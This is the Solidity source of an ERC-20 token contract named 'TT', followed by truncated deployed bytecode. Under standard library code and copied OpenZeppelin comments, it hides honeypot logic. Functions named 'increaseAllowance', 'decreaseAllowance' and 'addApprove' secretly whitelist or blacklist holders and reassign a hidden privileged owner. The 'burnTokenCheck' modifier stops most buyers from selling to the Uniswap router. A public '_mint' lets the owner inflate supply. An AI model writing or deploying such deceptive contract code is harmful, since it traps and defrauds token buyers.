return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
//25 lines
_mint(owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IER C20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526